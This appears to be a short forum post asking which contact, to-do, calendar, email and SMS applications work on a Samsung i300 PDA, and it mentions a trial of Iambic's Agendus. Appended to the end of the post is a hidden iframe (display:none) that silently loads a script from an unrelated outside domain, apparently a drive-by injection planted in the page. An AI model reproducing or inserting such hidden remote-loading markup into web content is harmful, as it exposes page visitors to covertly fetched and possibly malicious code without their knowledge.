What are the available applications out there that will do contacts/addresses, to do lists, calendar/datebk, email (w/attachment viewing, etc.), and SMS for our Samsung i300?

I recently downloaded a 30day trial of Iambic's Agendus, but the SMS only works for OS v4.1.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>